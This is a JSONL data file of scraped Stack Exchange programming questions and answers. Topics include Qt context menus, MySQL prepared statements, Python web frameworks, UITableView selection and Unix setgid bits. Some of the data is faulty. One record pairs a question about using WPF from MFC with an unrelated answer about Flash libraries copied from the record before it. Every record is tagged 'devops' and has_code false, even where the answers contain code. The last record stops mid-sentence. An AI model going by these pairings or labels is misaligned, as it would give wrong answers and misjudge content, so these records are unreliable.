{"id": "hf_a18926fb9c6f", "question": "<p>How can I read the colors of an image with python using google app engine?</p>\n\n<p><strong>Example:</strong> I like to build a function to determine the most striking colors of an image to set a harmonic background color for it.</p>\n", "question_body": "", "answer": "The\nImages API\ndoes not (currently) contain pixel-level functions. To quote the overview document:\nNote: In order to use the Images API in your local environment you must first download and install PIL, the Python Imaging Library. PIL is not available on App Engine; it is only used as a stub for the Images API in your local environment. Only the transforms provided in the images API are available on App Engine.\nThe community has been asking for full\nPIL\nsupport for some time, but it looks like we'll have to wait.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.081877"}
{"id": "hf_7a44c282769b", "question": "<p>I'm working with dRuby and basicly I'm calling a remote method that returns me an object.</p>\n\n<p>In the clientside I have this code:</p>\n\n<pre><code>handle_error(response) if response.is_a?(Error)\n</code></pre>\n\n<p>where response is the DRbObject. (I've developed this code before using dRuby and I'm returning an Error object if something went wrong). The problem is that now </p>\n\n<pre><code>response.is_a?(Error)\n</code></pre>\n\n<p>comes back with \"false\" because the object is actually a DRbObject. \nAny idea on how I can check the class of my application object?</p>\n\n<p>Thanks!\nRoberto</p>\n", "question_body": "", "answer": "Although I'm not sure how DRb manages the remote objects, I'd expect it to modify #kind_of?   to keep the class hierarchy on the remote object, so you could do:\n```\n```\nresponse.kind_of?(Error)\n```\n```\nIf this doesn't work you can always ask it if it responds to an specific method and go from there\n```\n```\nresponse.respond_to?(some_method_on_your_errors)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.143633"}
{"id": "hf_b7ee0b1be052", "question": "<p>How do you build and use dynamic sql in a MySQL stored procedure?</p>\n", "question_body": "", "answer": "I don't believe MySQL supports dynamic sql.  You can do \"prepared\" statements which is similar, but different.\nHere is an example:\n```\n```\nmysql> PREPARE stmt FROM \n    -> 'select count(*) \n    -> from information_schema.schemata \n    -> where schema_name = ? or schema_name = ?'\n;\nQuery OK, 0 rows affected (0.00 sec)\nStatement prepared\nmysql> EXECUTE stmt \n    -> USING @schema1,@schema2\n+----------+\n| count(*) |\n+----------+\n|        2 |\n+----------+\n1 row in set (0.00 sec)\nmysql> DEALLOCATE PREPARE stmt;\n```\n```\nThe prepared statements are often used to see an execution plan for a given query.  Since they are executed with the\nexecute\ncommand and the\nsql\ncan be assigned to a variable you can approximate the some of the same behavior as dynamic sql.\nHere is a good\nlink\nabout this:\nDon't forget to deallocate the\n```\nstmt\n```\nusing the last line!\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.291641"}
{"id": "hf_0ce5c367bcc3", "question": "<p>I've so far dabbled in Flash doing 1-man shows for quite some time, but have never done any big projects with it, where actually source management and code-reuse was truly necessary. However I'm considering Flash for a new project, but this time around it's won't be a 1-man show, that's when it struck me that I had no experience of how one is supposed to do that with flash.</p>\n\n<p>What are some good tips or resources that could help us figure out a good workflow?</p>\n", "question_body": "", "answer": "Good communication\nDon't work in .fla's. 100% of the code in .as files\nUML (at least discussed)\nDifferent tasks for everybody\nComments in commits to code repository\n\"Manage your code so that anybody can at any time take over your job\"\nConsider\nthe bus factor\nWith junior developers it's also good to go through basic stuff such as package structures etc, just so that everybody is on the same page.\nI think it's also good if somebody is kind of like a technical manager of the project, overseeing what the developers are doing. It may also be one of the developers but i think it's important to have one person who knows what everybody else is doing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.320651"}
{"id": "hf_1ad900a83614", "question": "<p>I want to create an <code>NSOpenPanel</code> that can select any kind of file, so I do this</p>\n\n<pre><code>NSOpenPanel*    panel = [NSOpenPanel openPanel];\n\nif([panel runModalForTypes:nil] == NSOKButton) {\n    // process files here\n}\n</code></pre>\n\n<p>which lets me select all files <em>except</em> symbolic links.<br>\nThey're simply not selectable and the obvious <code>setResolvesAliases</code><br>\ndoes nothing.</p>\n\n<p>What gives?</p>\n\n<p><b>Update 1:</b> I did some more testing and found that this strangeness<br>\nis present in Leopard (10.5.5) but not in Tiger (10.4.8). </p>\n\n<p><b>Update 2:</b> The code above can select mac aliases (persistent path<br>\n data that lives in the resource fork) but not symlinks (files created with ln -s).</p>\n", "question_body": "", "answer": "I cannot reproduce this. I just tried it and it works just fine. If symlink points to a directory, it shows the directory content when I select the symlink and if the symlink points to a file, I can select it as well.\nOf course if the symlink points to a directory, you can only select it if choosing directories is allowed\n```\n```\nNSOpenPanel * panel = [NSOpenPanel openPanel];\n[panel setCanChooseDirectories:YES];\nif ([panel runModalForTypes:nil] == NSOKButton) {\n    NSLog(@\"%@\", [panel filenames]);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.404514"}
{"id": "hf_716e460349fe", "question": "<p>For a new project with Flash I was looking for something along the lines of standard libraries for basic programming needs, along the lines of Python or Ruby standard libraries. But the only thing I found was a dead project on Sourceforge.</p>\n\n<p>Thus is there no standard library for flash? Does everyone reinvent the wheel each time?</p>\n", "question_body": "", "answer": "The basic libraries are\nbuilt into flash\n. Then on top of that there is\nflex\n, which gives you an entire RIA framework. Then there are 3rd party frameworks for\n3d\n,\nphysics engines\n, various design patterns (\nMVC\n,\nIoC\netc) to name just a few.\nSo no, you do not not to reinvent the wheel every time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.437547"}
{"id": "hf_64e497a2bc49", "question": "<p>I am responsible for the User Interface of an application written completely in Visual C++  using MFC and some third-part controls. I would like to use C# (WinForms or even better WPF) to improve the application look&amp;feel.</p>\n\n<p>I would like some advices about how to do it. Links, articles, examples...</p>\n\n<p>Right now the user interface is isolated in a single project and I don't want to compile the whole module with CLR. So how do I have to manage that from the architectural point of view?</p>\n\n<p>I have already looked at the Internet for the subject and read MSDN information. I would like more detailed information...is it convinient? pros/cons? have you used this approach successfully in a \"big\" application?\nI don't want to compile the whole ui project with CLR...can I just have all the .NET code in a isolated project and call it from the ui project? what's the best way to do it?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "The basic libraries are\nbuilt into flash\n. Then on top of that there is\nflex\n, which gives you an entire RIA framework. Then there are 3rd party frameworks for\n3d\n,\nphysics engines\n, various design patterns (\nMVC\n,\nIoC\netc) to name just a few.\nSo no, you do not not to reinvent the wheel every time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.459414"}
{"id": "hf_b6cda5d0464b", "question": "<p>I'm hoping to find out what tools folks use to synchronize data between databases. I'm looking for a JDBC solution that can be used as a command-line tool.</p>\n\n<p>There used to be a tool called Sync4J that used the SyncML framework but this seems to have fallen by the wayside.</p>\n", "question_body": "", "answer": "I have heard that the Data Replication Service provided by Db4O is really good. It allows you to use Hibernate to back onto a RDBMS - I don't think it supports JDBC tho (\nhttp://www.db4o.com/about/productinformation/drs/Default.aspx?AspxAutoDetectCookieSupport=1\n)\nThere is an open source project called Daffodil, but I haven't investigated it at all. (\nhttps://daffodilreplicator.dev.java.net/\n)\nThe one I am currently considering using is called SymmetricDS (\nhttp://symmetricds.sourceforge.net/\n)\nThere are others, they each do it slightly differently. Some use triggers, some poll, some use intercepting JDBC drivers. You need to decide what technical limitations you are under to determine which one you really want to use.\nWikipedia provides a nice overview of different techniques (\nhttp://en.wikipedia.org/wiki/Multi-master_replication\n) and also provides a link to another alternative DBReplicator (\nhttp://dbreplicator.org/\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.492721"}
{"id": "hf_8f97c5abf5b2", "question": "<p>See code: </p>\n\n<pre><code>var file1 = \"50.xsl\";\nvar file2 = \"30.doc\";\ngetFileExtension(file1); //returns xsl\ngetFileExtension(file2); //returns doc\n\nfunction getFileExtension(filename) {\n    /*TODO*/\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nreturn filename.replace(/\\.([a-zA-Z0-9]+)$/, \"$1\");\n```\n```\nedit: Strangely (or maybe it's not) the\n```\n$1\n```\nin the second argument of the replace method doesn't seem to work... Sorry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.526000"}
{"id": "hf_7bc6690b373c", "question": "<p>I have a few combo-boxes and  double spin boxes on my Qt Dialog. Now I need a \"ResetToDefault\" item on a menu that comes up when you right click on the widget (spin box or combo box).</p>\n\n<p>How do i get it. Is there some way I can have a custom menu that comes up on right click or Is there a way i can add items to the menu that comes on right click.</p>\n", "question_body": "", "answer": "First, for Qt4, the simplest way is to create an action to reset the data, and add it the the widget using the\n```\naddAction\n```\nmethod (or use the designer). Then, set the\n```\ncontextMenuPolicy\n```\nattribute to\n```\nQt::ActionsContextMenu\n```\n. The context menu will appear and the action will be triggered.\nCode example:\n```\n```\nQAction *reset_act = new QAction(\"Reset to default\");\nmywidget->addAction(reset_act);\nmywidget->setContextMenuPolicy(Qt::ActionsContextMenu);\n// here connect the 'triggered' signal to some slot\n```\n```\nFor Qt3, you might have to intercept the context menu event, and thus inherit the QSpinBox and others. Or maybe you can intercept the context menu event from the main window, detect if it occurred above the widget supposed to have a context menu (using the\n```\nQWidget::childAt\n```\nmethod) and show it there. But you'll have to test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.571256"}
{"id": "hf_b2c27f64008d", "question": "<p>When you tap a row in a <code>UITableView</code>, the row is highlighted and selected. Is it possible to disable this so tapping a row does nothing?</p>\n", "question_body": "", "answer": "All you have to do is set the selection style on the\n```\nUITableViewCell\n```\ninstance using either:\nObjective-C:\n```\n```\ncell.selectionStyle = UITableViewCellSelectionStyleNone;\n```\n```\nor\n```\n```\n[cell setSelectionStyle:UITableViewCellSelectionStyleNone];\n```\n```\nSwift 2:\n```\n```\ncell.selectionStyle = UITableViewCellSelectionStyle.None\n```\n```\nSwift 3 and 4.x:\n```\n```\ncell.selectionStyle = .none\n```\n```\nFurther, make sure you either don't implement\n```\n-tableView:didSelectRowAtIndexPath:\n```\nin your table view delegate or explicitly exclude the cells you want to have no action if you do implement it.\nMore info here\nand\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.606650"}
{"id": "hf_7102da82397a", "question": "<p>I have a DataGridView which shows the content of a DataTable.</p>\n\n<p>I want to set the backcolor of a row based on the value of a cell in this row.</p>\n\n<p>Note that the cell in question is in a column which is not displayed in the DataGridView (Visible=False).</p>\n", "question_body": "", "answer": "If you handle the RowDataBound event you can check the value of the data and modify the attributes of the cell or apply a different style in that event handler.\n```\n```\nprotected void Page_Load(object sender, EventArgs e)\n{\n    GridView g1 = new GridView();\n    g1.RowDataBound += new GridViewRowEventHandler(g1_RowDataBound);\n}\n\nvoid g1_RowDataBound(object sender, GridViewRowEventArgs e)\n{\n    if(e.Row.RowType == DataControlRowType.DataRow)\n    {\n        // Check the Value\n        if(e.Row.Cells[1].Text = someValue)\n        {\n            e.Row.Cells[1].CssClass = \"colorCellRed\";\n        }\n\n    }\n}\n```\n```\nThat should give you what you are looking for.  Let me know if you need it in VB rather than C#.\nGood Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.653668"}
{"id": "hf_23dd1ae28648", "question": "<p>When I type 'from' (in a <a href=\"http://en.wikipedia.org/wiki/Language_Integrated_Query\" rel=\"nofollow noreferrer\">LINQ</a> query) after importing <a href=\"http://msdn.microsoft.com/en-us/library/system.linq.aspx\" rel=\"nofollow noreferrer\">System.Linq namespace</a>, it is understood as a keyword. How does this magic happen?</p>\n\n<p>Is 'from' a extension method on some type?</p>\n", "question_body": "", "answer": "\"from\" is a language keyword (just like \"if\" or \"foreach\").\nYou don't even need to import System.Linq to use \"from\", but you need to use 3.5 framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.688201"}
{"id": "hf_2e23f7b25b3c", "question": "<p>I'm trying to dynamically hide certain DIV's when a print (or print preview) occurs from the browser.</p>\n\n<p>I can easily differentiate statically by having two style sheets, one for normal and one for print media:\n\n</p>\n\n<p>But I need to go one step further and hide some elements dynamically when the print style sheet becomes active during a print based upon certain criteria</p>\n\n<p>One way to easily solve it would be to handle a DOM event for handling print / printview, then I could just use jQuery to change the display:none on the classes that need to be hidden, but I can't find a DOM print event!!</p>\n\n<p>Anyone know what the solution is?</p>\n", "question_body": "", "answer": "There's an\nonbeforeprint\nevent in IE. It doesn't appear to be supported by other major browsers. (I tested Firefox 3.0.3 and Safari 3.1.2.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.804121"}
{"id": "hf_adc19a0f5268", "question": "<pre><code>dir(re.compile(pattern)) \n</code></pre>\n\n<p>does not return pattern as one of the lists's elements. Namely it returns:</p>\n\n<pre><code>['__copy__', '__deepcopy__', 'findall', 'finditer', 'match', 'scanner', 'search', 'split', 'sub', 'subn']\n</code></pre>\n\n<p>According to the manual, it is supposed to contain </p>\n\n<blockquote>\n  <p>the object's attributes' names, the\n  names of its class's attributes, and\n  recursively of the attributes of its\n  class's base classes.</p>\n</blockquote>\n\n<p>It says also that</p>\n\n<blockquote>\n  <p>The list is not necessarily complete.</p>\n</blockquote>\n\n<p>Is there a way to get the <strong>complete</strong> list? I always assumed that dir returns a complete list but apparently it does not...</p>\n\n<p>Also: is there a way to list only attributes? Or only methods?</p>\n\n<p><em>Edit: this is actually a bug in python -> supposedly it is fixed in the 3.0 branch (and perhaps also in 2.6)</em></p>\n", "question_body": "", "answer": "For the\ncomplete\nlist of attributes, the short answer is: no. The problem is that the attributes are actually defined as the arguments accepted by the\n```\ngetattr\n```\nbuilt-in function. As the user can reimplement\n```\n__getattr__\n```\n, suddenly allowing any kind of attribute, there is no possible generic way to generate that list. The\n```\ndir\n```\nfunction returns the keys in the\n```\n__dict__\n```\nattribute, i.e. all the attributes accessible if the\n```\n__getattr__\n```\nmethod is not reimplemented.\nFor the second question, it does not really make sense. Actually, methods are callable attributes, nothing more. You could though filter callable attributes, and, using the\n```\ninspect\n```\nmodule determine the class methods, methods or functions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.826291"}
{"id": "hf_6f700bf31b39", "question": "<p>How do I set the initial width of a QDockWidget?</p>\n\n<p>I have implemented the sizeHint function but what next?</p>\n", "question_body": "", "answer": "If you want it to have the same width as the same last time the program was running, you should look into settings. The Qt 4.4 documentation has an example on how to use settings\nhere\n.\nThis is how I have done it:\n```\n```\nvoid Applicotion::readSettings() {\n  QSettings settings(\"Company Name\", \"Application Name\");\n  settings.beginGroup(\"LibraryDock\");\n  libraryDock->setFloating(settings.value(\"docked\").toBool());\n  libraryDock->resize(settings.value(\"size\", QSize(1, 1)).toSize());\n  libraryDock->move(settings.value(\"pos\", QPoint(200, 200)).toPoint());\n  addDockWidget((Qt::DockWidgetArea)settings.value(\"dockarea\", Qt::RightDockWidgetArea).toInt(), libraryDock);\n  settings.endGroup();\n}\n\nvoid Applicotion::writeSettings() {\n  QSettings settings(\"Company Name\", \"Application Name\");\n  settings.beginGroup(\"LibraryDock\");\n  settings.setValue(\"dockarea\", dockWidgetArea(libraryDock));\n  settings.setValue(\"docked\", libraryDock->isFloating());\n  settings.setValue(\"size\", libraryDock->size());\n  settings.setValue(\"pos\", libraryDock->pos());\n  settings.endGroup();\n```\n```\n}", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.861632"}
{"id": "hf_b108f7bf5a3d", "question": "<p>In deploying to a new (Solaris 9) environment recently, one of the steps was to copy a set of files and directories to their new location and then to apply the group UID bit (using \"chmod -R g+s\") to all files in the directory tree giving a mode of -rwxr-s--- to everything. The result was that none of our shell scripts would execute unless they were individually opened and re-saved. I should add that we had earlier set g+s on the target parent folder prior to copying files; this had set the initial mode on all the new directories to drwxr-s--- but the files had a mode of -rwxr-x---</p>\n\n<p>Having eventually discovered which step caused the problem, we were able to cut out that step and proceed.</p>\n\n<p>I would like, however, to understand what the \"s\" bit means when applied to directories and files, in the hope that this will explain why we had the problem in the first place.</p>\n", "question_body": "", "answer": "For executable files, this means that when the file is executed, it is executed as the group that owns the file, not the group of the user executing the file.\nThis is useful if you want users to be able to assume the permissions of a particular group just for running one command.\nHowever, it is also a security risk as it is allowing users to elevate their permissions. You have to know that the scripts with this bit set aren't going to do anything that would let users abuse these extra permissions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.907318"}
{"id": "hf_bc1a09753460", "question": "<p>Could someone please explain to me how the current python webframworks fit together?</p>\n\n<p>The three I've heard of are CherryPy, TurboGears and Pylons. However I'm confused because TurboGears seems to use CherryPy as the 'Controller' (although isn't CherryPy a framework in in it's own right?), and TurbGears 2 is going to be built on top of Pylons (which I thought did the same thing?).</p>\n", "question_body": "", "answer": "There are more to it ofcourse.\nHere's a comprehensive list and details!\nWeb Frameworks for Python\nExtract from above link:\nPopular Full-Stack Frameworks\nA web application may use a\n  combination of a base HTTP application\n  server, a storage mechanism such as a\n  database, a template engine, a request\n  dispatcher, an authentication module\n  and an AJAX toolkit. These can be\n  individual components or be provided\n  together in a high-level framework.\nThese are the most popular high-level\n  frameworks. Many of them include\n  components listed on the WebComponents\n  page.\nDjango\n(1.0 Released 2008-09-03) a\n  high-level Python Web framework that\n  encourages rapid development and\n  clean, pragmatic design\nPylons\n(0.9.6.2 Released 2008-05-28) a\n  lightweight Web framework emphasizing\n  flexibility and rapid development. It\n  combines the very best ideas from the\n  worlds of Ruby, Python and Perl,\n  providing a structured but extremely\n  flexible Python Web framework. It's\n  also one of the first projects to\n  leverage the emerging WSGI standard,\n  which allows extensive re-use and\n  flexibility but only if you need it.\n  Out of the box, Pylons aims to make\n  Web development fast, flexible and\n  easy. Pylons is built on top of Paste\n  (see below).\nTurboGears\n(1.0.4.4 Released\n  2008-03-07) the rapid Web development\n  megaframework you've been looking for.\n  Combines\nCherryPy\n, Kid, SQLObject and\nMochiKit\n. After reviewing the website\n  check out:\nQuickStart Manual\nweb2py\n(currently version 1.43)\n  Everything in one package with no\n  dependencies. Development, deployment,\n  debugging, testing, database\n  administration and maintenance of\n  applications can be done via the\n  provided web interface. web2py has no\n  configuration files, requires no\n  installation, can run off a USB drive.\n  web2py uses Python for the Model, the\n  Views and the Controllers, has a\n  built-in ticketing system to manage\n  errors, an internationalization\n  engine, works with MySQL, PostgreSQL,\n  SQLite , Oracle, MSSQL and the Google\n  App Engine via an ORM abstraction\n  layer. web2py includes libraries to\n  handle HTML/XML, RSS, ATOM, CSV, RTF,\n  JSON, AJAX, XMLRPC, WIKI markup.\n  Production ready, capable of\n  upload/download of very large files,\n  and always backward compatible.\nGrok\n(0.13 Released 2008-06-23) is\n  built on the existing Zope 3\n  libraries, but aims to provide an\n  easier learning curve and a more agile\n  development experience. It does this\n  by placing an emphasis on convention\n  over configuration and DRY (Don't\n  Repeat Yourself).\nZope\n(2.10.4 Released 2007-07-04,\n  3.3.1 Released 2007-01-14, Zope 3.4.0c1 Released 2008-01-31) Being the grandaddy of Python web frameworks,\n  Zope has grown into a family of\n  frameworks over the years. Zope 1 was\n  released in 1999. Zope 2 is both a web\n  framework and a general purpose\n  application server, today it is\n  primarily used by\n  ContentManagementSystems. Zope 3 is\n  both a standalone framework and a\n  collection of related libraries, which\n  are also included with newer releases\n  of Zope 2. All of the Zope frameworks\n  include the ZODB, an object database\n  for Python.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:22.954093"}
{"id": "hf_044eb59395b4", "question": "<p>I'm getting ready to start a new project and I've been researching the entity framework. My question is what is the best strategy for validating the entities? Other projects I've worked on have used attributes for most of the validation, but obviously this is not possible in the entity framework. Is the only way to do this by handling the partial methods in the property setters? All advice is much appreciated.</p>\n", "question_body": "", "answer": "I have not actually used the Entity framework before but a quick search indicates that you have several options.\n1) Validate at another layer in your application\nAlways an option, I just thought I would throw it out there explicitly.\n2) Hook into the OnChanged events of the Entity then perform validation\nLikely brittle and would become confusing/slow after if you have many different properties things that can change for each entity.\n3) Implement partial methods to validate property changes\nAccording to\nthis\npost and\nthis\nwalkthrough there are partial methods available for validation. This seems like your best option as it is not very intrusive and you can selectively implement the validation you want.\nI hope that helps. Good luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.064238"}
{"id": "hf_a9d8024a7a1a", "question": "<p>I am currently using NUnit and testing a class library. Up until now, I have used a list of constants at the top of the test class to hold some static test variables. Is this the best way to do this, or is there a more fluent way to handle it?</p>\n", "question_body": "", "answer": "By \"static test variables\" do you actually mean constants (whether genuine constant, immutable instances or just ones you don't change)? I use those frequently, and just put them at the top of the test class.\nIf there are several related test classes, it can be handy to separate out common values into a different class though. (It\ncould\nact as your base class, but I'm not terribly fond of using inheritance just to get access to things more easily. Java static imports are handy there...)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.086880"}
{"id": "hf_44504411b20d", "question": "<p>I have a table in SQL server that has the normal tree structure of Item_ID, Item_ParentID.\nSuppose I want to iterate and get all CHILDREN of a particular Item_ID (at any level).</p>\n\n<p>Recursion seems an intuitive candidate for this problem and I can write an SQL Server function to do this. </p>\n\n<p>Will this affect performance if my table has many many records? \nHow do I avoid recursion and simply query the table? Please any suggestions?</p>\n", "question_body": "", "answer": "Perhaps some more detail is in order.\nIf you have a master-detail relationship as you describe, then won't a simple JOIN get what you need?\nAs in:\n```\n```\nSELECT\n  SOME_FIELDS\nFROM\n  MASTER_TABLE MT\n ,CHILD_TABLE CT\nWHERE CT.PARENT_ID = MT.ITEM_ID\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.202057"}
{"id": "hf_cf19ccff0bff", "question": "<p>By default, copying from the command prompt will prompt you to overwrite files that already exist in the target location.</p>\n\n<p>You can add \"/Y\" to say \"Yes to all\" replacements.</p>\n\n<p>But how can you say \"No to all\" ?</p>\n\n<p>In other words, I want to copy everything from one directory that does <strong>not</strong> already exist in the target.</p>\n\n<p>The closest thing I see is the XCOPY argument to only copy things after a specific mod-datetime.</p>\n", "question_body": "", "answer": "I expect\nxxcopy\nhas an\noption\nfor that.\nBingo:\nhttp://www.xxcopy.com/xxcopy27.htm#tag_231\n```\n```\n2.3   By comparison with the file in destination\n\n    The switches in this group select files based on the\n    comparison between the files in the source and those in\n    the destination.  They are often used for periodic backup\n    and directory synchronization purposes. These switches\n    were originally created as variations of directory backup.\n    They are also convenient for selecting files for deletion.\n\n2.3.1  by Presence/Absence\n\n    The /BB and /U switches are the two switches which select\n    files by the pure presence or absence as the criteria.\n    Other switches in the this group (Group 2.3) are also\n    affected by the file in the destination, but for a\n    particular characteristics for comparison's sake.\n\n    /BB  Selects files that are present in source but not in destination.\n    /U   Selects files that are present in both source and destination.\n```\n```\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.225507"}
{"id": "hf_a8f463f71ec6", "question": "<p>I'm experimenting with <a href=\"http://en.wikipedia.org/wiki/Latent_Dirichlet_allocation\" rel=\"noreferrer\">Latent Dirichlet Allocation</a> for topic disambiguation and assignment, and I'm looking for advice.</p>\n\n<ol>\n<li>Which program is the \"best\", where best is some combination of easiest to use, best prior estimation, fast</li>\n<li>How do I incorporate my intuitions about topicality.  Let's say I think I know that some items in the corpus are really in the same category, like all articles by the same author.  Can I add that into the analysis?</li>\n<li>Any unexpected pitfalls or tips I should know before embarking?</li>\n</ol>\n\n<p>I'd prefer is there are R or Python front ends for whatever program, but I expect (and accept) that I'll be dealing with C.  </p>\n", "question_body": "", "answer": "In addition to the\nusual\nsources\n, it seems like the most active area talking about this is on the\ntopics-models listserv\n.  From my initial survey, the easiest package to understand is the\nLDA Matlab package\n.\nThis is not lightweight stuff at all, so I'm not surprised it's hard to find good resources on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.307597"}
{"id": "hf_81f9ebf8ddc5", "question": "<p>I have the following code fragment that starts a <a href=\"http://en.wikipedia.org/wiki/Google_Earth\" rel=\"nofollow noreferrer\">Google Earth</a> process using a hardcoded path:</p>\n\n<pre><code>var process =\n    new Process\n        {\n            StartInfo =\n                {\n                    //TODO: Get location of google earth executable from registry\n                    FileName = @\"C:\\Program Files\\Google\\Google Earth\\googleearth.exe\",\n                    Arguments = \"\\\"\" + kmlPath + \"\\\"\"\n                }\n        };\nprocess.Start();\n</code></pre>\n\n<p>I want to programmatically fetch the installation location of <em>googleearth.exe</em> from somewhere (most likely the registry).</p>\n", "question_body": "", "answer": "From the example given you can gauge that I'm actually trying to pass a KML file to Google Earth. Because of this, the simplest way of resolving this problem is relying on the file association of KML with Google Earth and using the following as a replacement for the entire example:\n```\n```\nProcess.Start(kmlPath);\n```\n```\nThis was found by reviewing the answers to\nthis\nquestion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:23.331752"}
{"id": "hf_18394a754283", "question": "<p>We've recently completed phase 1 of a ASP.Net website in English and French. We went with using resource files to store language specific strings, but because the site used ASP.Net AJAX and javascript heavily we rigged up a solution to pass the right files through the ASP.Net pipeline where we could catch \"tokens\" and replace them with the appropriate text pulled from the resource files. </p>\n\n<p>This is the second project I've been involved in that had these kinds of challenges, the first one stored the text strings in a database, and instead of ASP.Net AJAX, it used the AJAX tools that come with the Prototype library and put all Javascript into aspx files so that the tokens could be replaced on the way out.</p>\n\n<p>What I'm wondering is, has anyone else encountered a similar scenario? What approach did you take? What lessons were learned? How did you deal with things like internationalized date formats?</p>\n", "question_body": "", "answer": "In my main project (a RAD framework using PHP with gettext for translations) we're doing already alot of prepare operations on javascript files like merging and minifying them. Within this preperations we parse for gettext-markers and replace them with the language specific 